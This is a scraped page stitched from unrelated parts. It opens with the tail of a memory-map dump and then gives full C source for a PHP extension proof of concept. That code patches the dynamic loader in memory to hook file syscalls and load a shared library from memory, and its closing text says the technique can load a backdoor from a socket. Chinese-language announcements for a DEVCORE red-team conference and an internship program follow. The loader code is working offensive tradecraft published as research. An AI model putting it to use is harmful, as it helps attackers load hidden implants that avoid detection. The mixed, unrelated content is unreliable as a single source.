7f9f9a433000-7f9f9a444000 r-xp 00002000 08:01 4818 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f9f9a444000-7f9f9a44a000 r--p 00013000 08:01 4818 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f9f9a44a000-7f9f9a44b000 ---p 00019000 08:01 4818 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f9f9a44b000-7f9f9a44c000 r--p 00019000 08:01 4818 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f9f9a44c000-7f9f9a44d000 rw-p 0001a000 08:01 4818 /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
7f9f9a44d000-7f9f9a4b3000 r--p 00000000 08:01 4876 /usr/lib/x86_64-linux-gnu/libicuuc.so.70.1
7f9f9a4b3000-7f9f9a5a6000 r-xp 00066000 08:01 4876 /usr/lib/x86_64-linux-gnu/libicuuc.so.70.1
7f9f9a5a6000-7f9f9a632000 r--p 00159000 08:01 4876 /usr/lib/x86_64-linux-gnu/libicuuc.so.70.1
7f9f9a632000-7f9f9a645000 r--p 001e4000 08:01 4876 /usr/lib/x86_64-linux-gnu/libicuuc.so.70.1
7f9f9a645000-7f9f9a646000 rw-p 001f7000 08:01 4876 /usr/lib/x86_64-linux-gnu/libicuuc.so.70.1
7f9f9a646000-7f9f9a648000 rw-p 00000000 00:00 0
7f9f9a648000-7f9f9a670000 r--p 00000000 08:01 3644 /usr/lib/x86_64-linux-gnu/libc.so.6
7f9f9a670000-7f9f9a805000 r-xp 00028000 08:01 3644 /usr/lib/x86_64-linux-gnu/libc.so.6
7f9f9a805000-7f9f9a85d000 r--p 001bd000 08:01 3644 /usr/lib/x86_64-linux-gnu/libc.so.6
7f9f9a85d000-7f9f9a861000 r--p 00214000 08:01 3644 /usr/lib/x86_64-linux-gnu/libc.so.6
7f9f9a861000-7f9f9a863000 rw-p 00218000 08:01 3644 /usr/lib/x86_64-linux-gnu/libc.so.6
7f9f9a863000-7f9f9a870000 rw-p 00000000 00:00 0
7f9f9a870000-7f9f9a89f000 r--p 00000000 08:01 2255 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13
7f9f9a89f000-7f9f9a9f2000 r-xp 0002f000 08:01 2255 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13
7f9f9a9f2000-7f9f9aa46000 r--p 00182000 08:01 2255 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13
7f9f9aa46000-7f9f9aa47000 ---p 001d6000 08:01 2255 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13
7f9f9aa47000-7f9f9aa50000 r--p 001d6000 08:01 2255 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13
7f9f9aa50000-7f9f9aa51000 rw-p 001df000 08:01 2255 /usr/lib/x86_64-linux-gnu/libxml2.so.2.9.13
7f9f9aa51000-7f9f9aa52000 rw-p 00000000 00:00 0
7f9f9aa52000-7f9f9aa60000 r--p 00000000 08:01 3647 /usr/lib/x86_64-linux-gnu/libm.so.6
7f9f9aa60000-7f9f9aadc000 r-xp 0000e000 08:01 3647 /usr/lib/x86_64-linux-gnu/libm.so.6
7f9f9aadc000-7f9f9ab37000 r--p 0008a000 08:01 3647 /usr/lib/x86_64-linux-gnu/libm.so.6
7f9f9ab37000-7f9f9ab38000 r--p 000e4000 08:01 3647 /usr/lib/x86_64-linux-gnu/libm.so.6
7f9f9ab38000-7f9f9ab39000 rw-p 000e5000 08:01 3647 /usr/lib/x86_64-linux-gnu/libm.so.6
7f9f9ab43000-7f9f9ab4a000 r--s 00000000 08:01 3960 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7f9f9ab4a000-7f9f9ab4c000 rw-p 00000000 00:00 0
7f9f9ab4c000-7f9f9ab4e000 r--p 00000000 08:01 3641 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f9f9ab4e000-7f9f9ab72000 r-xp 00002000 08:01 3641 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f9f9ab72000-7f9f9ab73000 r-xp 00026000 08:01 3641 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f9f9ab73000-7f9f9ab78000 r-xp 00027000 08:01 3641 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f9f9ab78000-7f9f9ab83000 r--p 0002c000 08:01 3641 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f9f9ab84000-7f9f9ab86000 r--p 00037000 08:01 3641 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7f9f9ab86000-7f9f9ab88000 rw-p 00039000 08:01 3641 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
7ffd2886b000-7ffd2888c000 rw-p 00000000 00:00 0 [stack]
7ffd2897b000-7ffd2897f000 r--p 00000000 00:00 0 [vvar]
7ffd2897f000-7ffd28981000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 --xp 00000000 00:00 0 [vsyscall
The final code is:
/* adepts extension for PHP */
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif
#include "php.h"
#include "ext/standard/info.h"
#include "php_adepts.h"
#include <sys/mman.h>
#include <pthread.h>
/* For compatibility with older PHP versions */
#ifndef ZEND_PARSE_PARAMETERS_NONE
#define ZEND_PARSE_PARAMETERS_NONE() \
ZEND_PARSE_PARAMETERS_START(0, 0) \
ZEND_PARSE_PARAMETERS_END()
#endif
typedef struct {
void * data;
size_t size;
size_t current;
} lib_t;
lib_t libdata;
char stub[] = {0x55, 0x48, 0x89, 0xe5, 0x48, 0xb8, 0, 0, 0, 0, 0, 0, 0, 0, 0xff, 0xd0, 0xc9, 0xc3};
size_t stub_length = 18;
#define LIBC "/lib/x86_64-linux-gnu/libc.so.6"
int my_open(const char *pathname, int flags);
off_t my_pread64(int fd, void *buf, size_t count, off_t offset);
ssize_t my_read(int fd, void *buf, size_t count);
void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset);
int my_fstat(int fd, struct stat *buf);
int my_close(int fd);
/*
pwndbg> disassemble 0x7ffff7fc99ad,+20
Dump of assembler code from 0x7ffff7fc99ad to 0x7ffff7fc99c1:
0x00007ffff7fc99ad <open_verify+109>: sub rdx,rax
0x00007ffff7fc99b0 <open_verify+112>: lea rsi,[rdi+rax*1]
0x00007ffff7fc99b4 <open_verify+116>: mov edi,r15d
0x00007ffff7fc99b7 <open_verify+119>: call 0x7ffff7fe9b80 <__GI___read_nocancel>
*/
const char read_pattern[] = {0x48, 0x29, 0xc2, 0x48, 0x8d, 0x34, 0x07, 0x44, 0x89, 0xff, 0xe8};
#define read_pattern_length 11
/*
pwndbg> disass 0x7ffff7fcc088,+40
Dump of assembler code from 0x7ffff7fcc088 to 0x7ffff7fcc0b0:
0x00007ffff7fcc088 <_dl_map_object_from_fd+1208>: mov ecx,0x812
0x00007ffff7fcc08d <_dl_map_object_from_fd+1213>: mov DWORD PTR [rbp-0xe0],r11d
0x00007ffff7fcc094 <_dl_map_object_from_fd+1220>: call 0x7ffff7fe9cc0 <__mmap64>
*/
const char mmap_pattern[] = {0xb9, 0x12, 0x08, 0x00, 0x00, 0x44, 0x89, 0x9d, 0x20, 0xff, 0xff, 0xff, 0xe8};
#define mmap_pattern_length 13
/*
pwndbg> disass 0x7ffff7fcc0c8,+20
Dump of assembler code from 0x7ffff7fcc0c8 to 0x7ffff7fcc0dc:
0x00007ffff7fcc0c8 <_dl_map_object_from_fd+1272>: mov edi,DWORD PTR [rbp-0xd4]
0x00007ffff7fcc0ce <_dl_map_object_from_fd+1278>: lea rsi,[rbp-0xc0]
0x00007ffff7fcc0d5 <_dl_map_object_from_fd+1285>: call 0x7ffff7fe98a0 <__GI___fstat64>
*/
const char fxstat_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0x48, 0x8d, 0xb5, 0x40, 0xff, 0xff, 0xff, 0xe8};
#define fxstat_pattern_length 14
/*
pwndbg> disass 0x7ffff7fcc145,+40
Dump of assembler code from 0x7ffff7fcc145 to 0x7ffff7fcc16d:
0x00007ffff7fcc145 <_dl_map_object_from_fd+1397>: mov edi,DWORD PTR [rbp-0xd4]
0x00007ffff7fcc14b <_dl_map_object_from_fd+1403>: call 0x7ffff7fe99f0 <__GI___close_nocancel>
*/
const char close_pattern[] = {0x8b, 0xbd, 0x2c, 0xff, 0xff, 0xff, 0xe8};
#define close_pattern_length 7
/*
pwndbg> disass 0x7ffff7fc996a,+40
Dump of assembler code from 0x7ffff7fc996a to 0x7ffff7fc9992:
0x00007ffff7fc996a <open_verify+42>: mov esi,0x80000
0x00007ffff7fc996f <open_verify+47>: mov rdi,r14
0x00007ffff7fc9972 <open_verify+50>: xor eax,eax
0x00007ffff7fc9974 <open_verify+52>: call 0x7ffff7fe9b00 <__GI___open64_nocancel>
*/
const char open_pattern[] = {0xbe, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x89, 0xf7, 0x31, 0xc0, 0xe8};
#define open_pattern_length 11
/*
pwndbg> disass 0x00007ffff7fcc275,+40
Dump of assembler code from 0x7ffff7fcc275 to 0x7ffff7fcc29d:
0x00007ffff7fcc275 <_dl_map_object_from_fd+1701>: mov rsi,rax
0x00007ffff7fcc278 <_dl_map_object_from_fd+1704>: mov QWORD PTR [rbp-0x158],rax
0x00007ffff7fcc27f <_dl_map_object_from_fd+1711>: call 0x7ffff7fe9bb0 <__GI___pread64_nocancel>
*/
const char pread64_pattern[] = {0x48, 0x89, 0xc6, 0x48, 0x89, 0x85, 0xa8, 0xfe, 0xff, 0xff, 0xe8};
#define pread64_pattern_length 11
const char* patterns[] = {read_pattern, mmap_pattern, pread64_pattern, fxstat_pattern, close_pattern,
open_pattern, NULL};
const size_t pattern_lengths[] = {read_pattern_length, mmap_pattern_length, pread64_pattern_length,
fxstat_pattern_length, close_pattern_length, open_pattern_length, 0};
const char* symbols[] = {"read", "mmap", "pread", "fstat", "close", "open", NULL};
uint64_t functions[] = {(uint64_t)&my_read, (uint64_t)&my_mmap, (uint64_t)&my_pread64, (uint64_t)&my_fstat,
(uint64_t)&my_close, (uint64_t)&my_open, 0};
char *fixes[7] = {0};
uint64_t fix_locations[7] = {0};
size_t page_size;
uint64_t first = 0;
bool find_ld_in_memory(uint64_t *addr1, uint64_t *addr2) {
FILE* f = NULL;
char buffer[1024] = {0};
char* tmp = NULL;
char* start = NULL;
char* end = NULL;
bool found = false;
if ((f = fopen("/proc/self/maps", "r")) == NULL){
return found;
}
while ( fgets(buffer, sizeof(buffer), f) ){
if ( strstr(buffer, "r-xp") == 0 ) {
continue;
}
if ( strstr(buffer, "ld-linux-x86-64.so.2") == 0 ) {
continue;
}
buffer[strlen(buffer)-1] = 0;
tmp = strrchr(buffer, ' ');
if ( tmp == NULL || tmp[0] != ' ')
continue;
++tmp;
start = strtok(buffer, "-");
*addr1 = strtoul(start, NULL, 16);
end = strtok(NULL, " ");
*addr2 = strtoul(end, NULL, 16);
found = true;
}
fclose(f);
return found;
}
/* hooks */
int my_open(const char *pathname, int flags) {
void *handle;
int (*mylegacyopen)(const char *pathnam, int flags);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyopen = dlsym(handle, "open");
if (strstr(pathname, "magic.so") != 0){
printf("\t[+] Open called with magic word. Returning magic FD (0x69)\n");
return 0x69;
}
return mylegacyopen(pathname, flags);
}
ssize_t my_read(int fd, void *buf, size_t count){
void *handle;
ssize_t (*mylegacyread)(int fd, void *buf, size_t count);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyread = dlsym(handle, "read");
if (fd == 0x69){
size_t size = 0;
if ( libdata.size - libdata.current >= count ) {
size = count;
} else {
size = libdata.size - libdata.current;
}
memcpy(buf, libdata.data + libdata.current, size);
libdata.current += size;
printf("\t[+] Read called with magic FD. Returning %ld bytes from memory\n", size);
return size;
}
size_t ret = mylegacyread(fd, buf, count);
printf("Size: %ld\n",ret);
return ret;
}
void * my_mmap(void *addr, size_t length, int prot, int flags, int fd, off_t offset){
int mflags = 0;
void * ret = NULL;
uint64_t start = 0;
size_t size = 0;
if ( fd == 0x69 ) {
mflags = MAP_PRIVATE|MAP_ANON;
if ( (flags & MAP_FIXED) != 0 ) {
mflags |= MAP_FIXED;
}
ret = mmap(addr, length, PROT_READ|PROT_WRITE|PROT_EXEC, mflags, -1, 0);
size = length > libdata.size - offset ? libdata.size - offset : length;
memcpy(ret, libdata.data + offset, size);
mprotect(ret, size, prot);
if (first == 0){
first = (uint64_t)ret;
}
printf("\t[+] Inside hooked mmap (fd: 0x%x)\n", fd);
return ret;
}
return mmap(addr, length, prot, flags, fd, offset);
}
int my_fstat(int fd, struct stat *buf){
void *handle;
int (*mylegacyfstat)(int fd, struct stat *buf);
handle = dlopen (LIBC, RTLD_NOW);
mylegacyfstat = dlsym(handle, "fstat64");
if ( fd == 0x69 ) {
memset(buf, 0, sizeof(struct stat));
buf->st_size = libdata.size;
buf->st_ino = 0x666; // random number
printf("\t[+] Inside hooked fstat64 (fd: 0x%x)\n", fd);
return 0;
}
return mylegacyfstat(fd, buf);
}
int my_close(int fd) {
if (fd == 0x69){
printf("\t[+] Inside hooked close (fd: 0x%x)\n", fd);
return 0;
}
return close(fd);
}
ssize_t my_pread64(int fd, void *buf, size_t count, off_t offset) {
void *handle;
int (*mylegacypread)(int fd, void *buf, size_t count);
handle = dlopen(LIBC, RTLD_NOW);
mylegacypread = dlsym(handle, "pread");
printf("\t[+] Inside pread64 (FD: %d)\n", fd);
return mylegacypread(fd, buf, count);
}
/* Patch ld.so */
bool search_and_patch(uint64_t start_addr, uint64_t end_addr, const char* pattern, const size_t length, const char* symbol, const uint64_t replacement_addr, int position) {
bool found = false;
int32_t offset = 0;
uint64_t tmp_addr = 0;
uint64_t symbol_addr = 0;
char * code = NULL;
void * page_addr = NULL;
tmp_addr = start_addr;
while ( ! found && tmp_addr+length < end_addr) {
if ( memcmp((void*)tmp_addr, (void*)pattern, length) == 0 ) {
found = true;
continue;
}
++tmp_addr;
}
if ( ! found ) {
return false;
}
offset = *((uint64_t*)(tmp_addr + length));
symbol_addr = tmp_addr + length + 4 + offset;
//Save data to fix later
fixes[position] = malloc(stub_length * sizeof(char));
memcpy(fixes[position], (void*)symbol_addr, stub_length);
fix_locations[position] = symbol_addr;
printf("[*] Symbol: %s - Addr: %lx\n", symbol, fix_locations[position]);
code = malloc(stub_length * sizeof(char));
memcpy(code, stub, stub_length);
memcpy(code+6, &replacement_addr, sizeof(uint64_t));
page_addr = (void*) (((size_t)symbol_addr) & (((size_t)-1) ^ (page_size - 1)));
mprotect(page_addr, page_size, PROT_READ | PROT_WRITE);
memcpy((void*)symbol_addr, code, stub_length);
mprotect(page_addr, page_size, PROT_READ | PROT_EXEC);
return true;
}
/* Read file from disk */
bool load_library_from_file(char * path, lib_t *libdata) {
struct stat st;
FILE * file;
size_t read;
if ( stat(path, &st) < 0 ) {
return false;
}
libdata->size = st.st_size;
libdata->data = malloc( st.st_size );
libdata->current = 0;
file = fopen(path, "r");
read = fread(libdata->data, 1, st.st_size, file);
fclose(file);
return true;
}
/* remove hooks */
bool fix_hook(char *fix, uint64_t addr){
void *page_addr = (void*) (((size_t)addr) & (((size_t)-1) ^ (page_size - 1)));
mprotect(page_addr, page_size, PROT_READ | PROT_WRITE);
memcpy((void *)addr, fix, stub_length);
mprotect(page_addr, page_size, PROT_READ | PROT_EXEC);
return true;
}
extern void restore(void){
int i = 0;
printf("---------------------------------------\n");
printf("[*] Fixing hooks\n");
while ( patterns[i] != NULL ) {
if ( ! fix_hook(fixes[i], fix_locations[i]) ) {
return;
}
++i;
}
return;
}
void patch_all(void){
uint64_t start = 0;
uint64_t end = 0;
size_t i = 0;
page_size = sysconf(_SC_PAGESIZE);
printf("\t\t-=[ Proof of Concept ]=-\n\n");
if (!load_library_from_file("/home/vagrant/research/php/backdoor/adepts/adepts.so", &libdata)){
return;
}
if (!find_ld_in_memory(&start, &end)){
return;
}
printf("[*] ld.so found in range [0x%lx-0x%lx]\n", start, end);
printf("-------------[ Patching ]-------------\n");
while ( patterns[i] != NULL ) {
if ( ! search_and_patch(start, end, patterns[i], pattern_lengths[i], symbols[i], functions[i], i) ) {
return;
}
++i;
}
printf("---------------------------------------\n");
return;
}
static void check(void) __attribute__((constructor));
void check(void){
printf("~~~> Hello from adepts.o <~~~\n");
return;
}
/* Functions to execute */
zend_result onLoad(int a, int b){
printf("[^] Executing onLoad\n");
void* handle = dlopen("/home/vagrant/research/php/backdoor/adepts/adepts.so", RTLD_LAZY);
while (dlclose(handle) != -1){
printf("[*] dlclose()\n");
}
return SUCCESS;
}
zend_result onRequest(void){
php_printf("\n[/!\\] Adepts of 0xCC [/!\\]\n\n");
return SUCCESS;
}
// Basic zend_module_entry
zend_module_entry adepts_module_entry = {
STANDARD_MODULE_HEADER,
"adepts", /* Extension name */
NULL, /* zend_function_entry */
NULL, /* PHP_MINIT - Module initialization */
NULL, /* PHP_MSHUTDOWN - Module shutdown */
NULL, /* PHP_RINIT - Request initialization */
NULL, /* PHP_RSHUTDOWN - Request shutdown */
NULL, /* PHP_MINFO - Module info */
PHP_ADEPTS_VERSION, /* Version */
STANDARD_MODULE_PROPERTIES
};
//Function "get_module" that will be executed by PHP
__attribute__((visibility("default")))
extern zend_module_entry *get_module(void){
patch_all();
void *handler = dlopen("./magic.so", RTLD_LAZY);
restore();
static Dl_info info;
dladdr(&info, &info);
uint64_t diffLoad = (uint64_t)&onLoad - (uint64_t)info.dli_fbase;
uint64_t diffRequest = (uint64_t)&onRequest - (uint64_t)info.dli_fbase;
uint64_t newLoad = first + diffLoad;
uint64_t newRequest = first + diffRequest;
uint64_t diffModule = (uint64_t)&adepts_module_entry - (uint64_t)info.dli_fbase;
((zend_module_entry *)(diffModule + first))->module_startup_func = (void *)newLoad;
((zend_module_entry *)(diffModule + first))->request_shutdown_func = (void *)newRequest;
return (void *)(diffModule + first);
}
#ifdef COMPILE_DL_ADEPTS
# ifdef ZTS
ZEND_TSRMLS_CACHE_DEFINE()
# endif
ZEND_GET_MODULE(adepts)
#endif
We hope you enjoyed this reading. This same technique leveraged by memdlopen
can be used in different situations like, for example, loading a complex backdoor (a whole shared library vs a simple shellcode) from a socket avoiding the usage of memfd_create
.
Feel free to give us feedback at our twitter @AdeptsOf0xCC.
DEVCORE 很高興地宣佈,純攻擊導向的專業技術研討會 DEVCORE CONFERENCE,在暌違三年後,將於 3 月 10 日至 3 月 11 日於台北 TICC 國際會議中心再次盛大舉行,即日起開放報名,同時為慶祝 DEVCORE 創立十週年,除了原有的駭客技術議程外,特別加開企業場。
「DEVCORE 十年來持續提供企業頂尖的主動式資安服務,很高興看到資安與紅隊演練日漸受到台灣業界與政府單位重視,希望將我們一路累積的經驗與能量,不藏私地分享給所有志同道合的夥伴,共同為台灣資安產業的發展並肩作戰。」執行長暨共同創辦人翁浩正(Allen)表示。
紅隊總監暨共同創辦人許復凱(Shaolin)則強調,目前台灣僅有 DEVCORE 願意公開分享紅隊進階攻擊技法,機會相當難得,而此場研討會不僅適合希望更加深入了解攻擊技術的聽眾,也很適合企業藍隊藉此了解紅隊如何看待防禦,從中獲得啟發,以了解可以強化的防禦面向,現場也將與聽眾交流技術及駭客思維。
針對駭客場,許復凱分析,上半場將於聽眾分享紅隊在真實演練時如何運用企業與藍隊難以想像的攻擊手法,下半場則著重分享 DEVCORE 團隊對真實世界產品的研究手法,甚至也有全球白帽駭客最高殿堂 Pwn2Own 等參賽背後秘辛與趣事,場場精華,不容錯過。
駭客場將分享最新漏洞研究及真實紅隊演練案例,包含:從零開始的 Pwn2Own 駭客大賽奪冠之路、如何以 MITRE ATT&CK 框架檢視紅隊演練、SSRF 攻擊手法與實戰精華、Email 現代攻擊手法、如何將廢洞串接成 RCE 漏洞、虛擬機之安全挑戰、物聯網裝置攻擊實例。企業場則將以深入淺出的方式分享台灣資安十年更新迭代、DEVCORE 十年資安奇幻旅程、紅隊演練策略使用方式與真正價值、企業常見資安風險、最讓駭客頭痛的資安防禦機制等。
本場次專為企業決策者及資安管理者量身打造,將從 DEVCORE 為何於 2017 年發現客戶需求、首先推出紅隊演練開始,細數 5 年來我們在近 70 場紅隊演練中的珍貴發現,包含供應鏈中易被忽略的資安風險、資安策略與機制優先順序如何斟酌、資安產品有效性驗證等。
此外,我們也將透過此場研討會,協助企業理解如何打造最適合的資安戰略,並能有效、正確使用紅隊演練此項策略工具,達到識別風險、並發揮紅隊演練最大效益。
在企業場中,我們也特別納入企業最常見的資安問題、如何自我評估安全、如何保護網域服務(AD)等,建立資安自保觀念後,再進一步探討哪些防禦機制與產業尤難攻陷、攻擊者如何情蒐與挑選目標等。
面對永不停歇的網路戰,建構正確的資安策略,將是迎戰的第一步,而唯有了解真實的駭客思維與攻擊方式,才能確保企業立於不敗之地。
本場次將深入探討最新攻擊手法與漏洞,適合資安技術人員及有興趣的資安管理階層參與。
以紅隊思維看藍隊防禦,紅藍攻防中的經典案例 具備豐富指揮作戰經驗的 DEVCORE 紅隊演練隊長 Ding,將於本場議程中分享近 70 場橫跨金融、科技、電商、傳產等各產業經典案例,並以 MITRE ATT&CK 框架,逐一分析實戰經驗中使用的戰術與攻擊手法:初始入侵除了OWASP TOP 10 中常見攻擊技巧外還有哪些方式?攻擊者如何持續潛伏,且同時達成防毒軟體未示警、亦無檔案落地?攻擊者如何在網路實體隔離時仍能橫向移動?攻擊者如何以出人意料的手段提升權限?
讓流量穿過你的巴巴 - 紅隊實戰 SSRF 經典案例 儘管 SSRF 是一個歷史悠久的知名攻擊手法,攻擊者可藉此穿過外網防火牆、入侵內網,但相較於指令注入或任意檔案上傳等類 RCE 漏洞,其嚴重性似乎略遜一籌。紅隊演練專家 Vtim 將以過去於紅隊演練專案中遇到的 SSRF 真實案例,探討其究竟是報告上有名無實的高風險漏洞,或是企業仍不能忽視的重要安全問題。
I wanna know 你信不信 - 現代郵件詐術 去年於國際技能競賽網路安全職類取得銀牌的台灣國手,同時也是 DEVCORE 紅隊演練專家的 Mico,將於此場議程中分享各種企業組織與個人收信方式組合式攻擊手法,並逐一剖析攻擊者如何使用 Email 偽造欺騙以及繞過垃圾郵件過濾器,協助企業防範以 Email 做為初始入侵點的攻擊。
黑魔法、大壞蛋得崩,讓四個臭蟲變成漏洞吧! 再廢的低分漏洞也有春天!雞肋般的弱點,對紅隊而言還有任何利用價值嗎?低風險、利用機會也低的小漏洞,企業真的可以置之不理嗎?DEVCORE 資深紅隊演練專家 Cyku 及 技術專案經理 Crystal 將透過實際案例,分享攻擊者如何將四個 CVSS 幾乎 0.0 分的廢洞化腐朽為神奇,串成 RCE 漏洞。
挑戰百萬賞金!虛擬世界之密室逃脫 以虛擬機分析惡意程式是目前被廣泛採用的分析方式之一,然而其背後卻可能存在易被忽略的安全問題及漏洞。曾獲駭客奧斯卡 Pwnie Awards 「最佳伺服器漏洞」 肯定的資深資安研究員 Meh 將以 VMware 中潛藏於 DHCP 協議的漏洞為例,與聽眾分享虛擬機潛在的資安風險以及其研究成果。
Remote Door Execution 家用物聯網裝置被駭客用以監看或監聽已是廣為人知的資安問題,然而若門鎖也能被遠端遙控開啟,除了個人隱私遭到侵犯,更是居家安全的重大威脅。與研究團隊共同奪得 Pwn2Own Toronto 2022 冠軍的資安研究員 Nini,將於本場議程中分享其如何嘗試透過軟硬體攻擊,最終在電子鎖上發掘可以任意開門的漏洞。
From Zero to Hero - 從零開始的 Pwn2Own 奪冠之路 DEVCORE 自 2020 年開始參與白帽駭客最高殿堂競賽 Pwn2Own,迄今拿下兩次亞軍、兩次冠軍。此場議程將由駭客界頗負盛名、屢屢獲獎並受邀演講的 DEVCORE 首席資安研究員 Orange 及資深資安研究員 Angelboy 共同主講,與會眾分享如何挑選目標、建立團隊默契、試誤與學習、與廠商之間的攻防戰等參賽背後秘辛與趣事。
時間 | 議程 | 講師 |
---|---|---|
13:00 - 13:30 | 來賓報到 | / |
13:30 - 13:40 | 開幕 | / |
13:40 - 14:10 | 攻擊一日,創業十年 | DEVCORE 執行長暨共同創辦人 Allen |
14:10 - 14:40 | 紅隊紅隊,多少服務假汝之名而行! | DEVCORE 商務發展總監 Aaron |
14:40 - 15:20 | 中場休息 | / |
15:20 - 15:50 | 紅隊常見 Q&A 大解密 | DEVCORE 資深副總暨共同創辦人 Bowen |
15:50 - 16:20 | 紅隊的下一步 Ver. 2023 | DEVCORE 紅隊總監暨共同創辦人 Shaolin |
16:20 - 16:30 | 閉幕 | / |
時間 | 議程 | 講師 |
---|---|---|
08:40 - 09:30 | 來賓報到 | / |
09:30 - 09:40 | 開幕 | / |
09:40 - 10:10 | 以紅隊思維看藍隊防禦,紅藍攻防中的經典案例 | DEVCORE 紅隊演練隊長 Ding |
10:10 - 10:40 | 讓流量穿過你的巴巴 - 紅隊實戰 SSRF 經典案例 | DEVCORE 紅隊演練專家 Vtim |
10:40 - 11:00 | 中場休息 | / |
11:00 - 11:30 | I wanna know 你信不信 - 現代郵件詐術 | DEVCORE 紅隊演練專家 Mico |
11:30 - 12:00 | 黑魔法、大壞蛋得崩,讓四個臭蟲變成漏洞吧! | DEVCORE 資深紅隊演練專家 Cyku & 技術專案經理 Crystal |
12:00 - 13:30 | 午餐休息 | / |
13:30 - 14:00 | 挑戰百萬賞金!虛擬世界之密室逃脫 | DEVCORE 資深資安研究員 Meh |
14:00 - 14:30 | Remote Door Execution | DEVCORE 資安研究員 Nini |
14:30 - 15:10 | 中場休息 | / |
15:10 - 16:10 | From Zero to Hero - 從零開始的 Pwn2Own 奪冠之路 | DEVCORE 首席資安研究員 Orange & 資深資安研究員 Angelboy |
16:10 - 16:20 | 閉幕 | / |
詳細資訊及報名方式請至 KKTIX 查詢:
DEVCORE 創立迄今已逾十年,持續專注於提供主動式資安服務,並致力尋找各種安全風險及漏洞,讓世界變得更安全。為了持續尋找更多擁有相同理念的資安新銳、協助學生建構正確資安意識及技能,我們成立了「戴夫寇爾全國資訊安全獎學金」,2022 年初也開始舉辦首屆實習生計畫,目前為止成果頗豐、超乎預期,第二屆實習生計畫也將於今年 2 月底告一段落。我們很榮幸地宣佈,第三屆實習生計畫即將登場,若您期待加入我們、精進資安技能,煩請詳閱下列資訊後來信報名!
本次實習分為 Binary 及 Web 兩個組別,主要內容如下:
台北市松山區八德路三段 32 號 13 樓
大專院校大三(含)以上具有一定程度資安背景的學生
每月新台幣 16,000 元
本次甄選一共分為三個階段:
第一階段為書面審查,會需要審查下列兩個項目
本階段收件截止時間為 2023/2/3 10:00,我們會根據您的履歷及題目所回答的內容來決定是否有通過第一階段,我們會在七個工作天內回覆。
此階段為 1~2 小時的面試,會有 2~3 位資深夥伴參與,評估您是否具備本次實習所需的技術能力與人格特質。
若有應徵相關問題,請一律使用 Email 聯繫,如造成您的不便請見諒,我們感謝您的來信,並期待您的加入!